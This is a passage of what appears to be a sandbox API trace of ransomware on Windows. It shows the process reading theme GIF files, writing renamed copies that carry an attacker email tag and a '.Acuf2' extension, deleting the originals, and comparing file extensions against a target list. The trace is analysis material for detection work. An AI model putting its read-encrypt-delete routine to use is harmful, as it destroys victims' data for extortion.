	[0050.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.636] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1347) returned 1
	[0050.636] CloseHandle (hObject=0x178) returned 1
	[0050.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20
	[0050.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.637] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.637] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.638] GetLastError () returned 0x0
	[0050.638] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x543, lpOverlapped=0x0) returned 1
	[0050.874] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0050.875] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.875] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.875] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.875] CloseHandle (hObject=0x1a4) returned 1
	[0050.875] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.875] SetEndOfFile (hFile=0x178) returned 1
	[0050.876] CloseHandle (hObject=0x178) returned 1
	[0050.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.876] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1
	[0050.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.877] lstrlenW (lpString=".doc") returned 4
	[0050.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.877] lstrlenW (lpString=".docx") returned 5
	[0050.877] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.877] lstrlenW (lpString=".pdf") returned 4
	[0050.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.877] lstrlenW (lpString=".xls") returned 4
	[0050.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.877] lstrlenW (lpString=".xlsx") returned 5
	[0050.877] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.877] lstrlenW (lpString=".ppt") returned 4
	[0050.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.877] lstrlenW (lpString=".zip") returned 4
	[0050.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.877] lstrlenW (lpString=".rar") returned 4
	[0050.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.877] lstrlenW (lpString=".bz2") returned 4
	[0050.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.877] lstrlenW (lpString=".7z") returned 3
	[0050.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.877] lstrlenW (lpString=".dbf") returned 4
	[0050.877] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.878] lstrlenW (lpString=".1cd") returned 4
	[0050.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.878] lstrlenW (lpString=".jpg") returned 4
	[0050.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.878] lstrlenW (lpString=".doc") returned 4
	[0050.878] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.878] lstrlenW (lpString=".docx") returned 5
	[0050.878] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.878] lstrlenW (lpString=".pdf") returned 4
	[0050.878] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.878] lstrlenW (lpString=".xls") returned 4
	[0050.878] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.878] lstrlenW (lpString=".xlsx") returned 5
	[0050.878] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.878] lstrlenW (lpString=".ppt") returned 4
	[0050.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.878] lstrlenW (lpString=".zip") returned 4
	[0050.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.878] lstrlenW (lpString=".rar") returned 4
	[0050.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.878] lstrlenW (lpString=".bz2") returned 4
	[0050.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.878] lstrlenW (lpString=".7z") returned 3
	[0050.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.878] lstrlenW (lpString=".dbf") returned 4
	[0050.879] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.879] lstrlenW (lpString=".1cd") returned 4
	[0050.879] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0050.879] lstrlenW (lpString=".jpg") returned 4
	[0050.879] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.879] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.879] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.879] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=2552) returned 1
	[0050.879] CloseHandle (hObject=0x178) returned 1
	[0050.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20
	[0050.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.880] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.880] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0051.160] GetLastError () returned 0x0
	[0051.166] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x9f8, lpOverlapped=0x0) returned 1
	[0051.168] WriteFile (in: hFile=0x20c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xa00, lpOverlapped=0x0) returned 1
	[0051.169] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.169] WriteFile (in: hFile=0x20c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.169] SetEndOfFile (hFile=0x20c) returned 1
	[0051.169] CloseHandle (hObject=0x20c) returned 1
	[0051.170] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.170] SetEndOfFile (hFile=0x178) returned 1
	[0051.170] CloseHandle (hObject=0x178) returned 1
	[0051.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.171] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1
	[0051.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.171] lstrlenW (lpString=".doc") returned 4
	[0051.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.171] lstrlenW (lpString=".docx") returned 5
	[0051.171] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.171] lstrlenW (lpString=".pdf") returned 4
	[0051.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.171] lstrlenW (lpString=".xls") returned 4
	[0051.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.171] lstrlenW (lpString=".xlsx") returned 5
	[0051.171] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.171] lstrlenW (lpString=".ppt") returned 4
	[0051.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.171] lstrlenW (lpString=".zip") returned 4
	[0051.171] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.172] lstrlenW (lpString=".rar") returned 4
	[0051.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.172] lstrlenW (lpString=".bz2") returned 4
	[0051.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.172] lstrlenW (lpString=".7z") returned 3
	[0051.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.172] lstrlenW (lpString=".dbf") returned 4
	[0051.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.172] lstrlenW (lpString=".1cd") returned 4
	[0051.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.172] lstrlenW (lpString=".jpg") returned 4
	[0051.172] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.172] lstrlenW (lpString=".doc") returned 4
	[0051.172] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.172] lstrlenW (lpString=".docx") returned 5
	[0051.172] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.172] lstrlenW (lpString=".pdf") returned 4
	[0051.172] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.172] lstrlenW (lpString=".xls") returned 4
	[0051.172] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.172] lstrlenW (lpString=".xlsx") returned 5
	[0051.172] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.172] lstrlenW (lpString=".ppt") returned 4
	[0051.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.173] lstrlenW (lpString=".zip") returned 4
	[0051.173] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.173] lstrlenW (lpString=".rar") returned 4
	[0051.173] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.173] lstrlenW (lpString=".bz2") returned 4
	[0051.173] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.173] lstrlenW (lpString=".7z") returned 3
	[0051.173] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.173] lstrlenW (lpString=".dbf") returned 4
	[0051.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.173] lstrlenW (lpString=".1cd") returned 4
	[0051.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71
	[0051.173] lstrlenW (lpString=".jpg") returned 4
	[0051.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.173] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.173] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.174] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1659) returned 1
	[0051.174] CloseHandle (hObject=0x178) returned 1
	[0051.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20
	[0051.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0051.174] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.174] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c
	[0051.177] GetLastError () returned 0x0
	[0051.177] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x67b, lpOverlapped=0x0) returned 1
	[0051.178] WriteFile (in: hFile=0x20c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x680, lpOverlapped=0x0) returned 1
	[0051.179] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.179] WriteFile (in: hFile=0x20c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.179] SetEndOfFile (hFile=0x20c) returned 1
	[0051.179] CloseHandle (hObject=0x20c) returned 1
	[0051.179] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.179] SetEndOfFile (hFile=0x178) returned 1
	[0051.180] CloseHandle (hObject=0x178) returned 1
	[0051.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.180] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1
	[0051.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.181] lstrlenW (lpString=".doc") returned 4
	[0051.181] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.181] lstrlenW (lpString=".docx") returned 5
	[0051.181] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.181] lstrlenW (lpString=".pdf") returned 4
	[0051.181] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.181] lstrlenW (lpString=".xls") returned 4
	[0051.181] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.181] lstrlenW (lpString=".xlsx") returned 5
	[0051.181] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.181] lstrlenW (lpString=".ppt") returned 4
	[0051.181] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.181] lstrlenW (lpString=".zip") returned 4
	[0051.181] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.181] lstrlenW (lpString=".rar") returned 4
	[0051.181] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.181] lstrlenW (lpString=".bz2") returned 4
	[0051.181] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.181] lstrlenW (lpString=".7z") returned 3
	[0051.181] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.181] lstrlenW (lpString=".dbf") returned 4
	[0051.181] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.181] lstrlenW (lpString=".1cd") returned 4
	[0051.181] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.182] lstrlenW (lpString=".jpg") returned 4
	[0051.182] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.182] lstrlenW (lpString=".doc") returned 4
	[0051.182] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.182] lstrlenW (lpString=".docx") returned 5
	[0051.182] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.182] lstrlenW (lpString=".pdf") returned 4
	[0051.182] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.182] lstrlenW (lpString=".xls") returned 4
	[0051.182] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.182] lstrlenW (lpString=".xlsx") returned 5
	[0051.182] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.182] lstrlenW (lpString=".ppt") returned 4
	[0051.182] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.182] lstrlenW (lpString=".zip") returned 4
	[0051.182] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.182] lstrlenW (lpString=".rar") returned 4
	[0051.182] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.182] lstrlenW (lpString=".bz2") returned 4
	[0051.182] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.182] lstrlenW (lpString=".7z") returned 3
	[0051.182] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.182] lstrlenW (lpString=".dbf") returned 4
	[0051.182] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74
	[0051.183] lstrlenW (lpString=".1cd") returned 4
	[0051.183] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
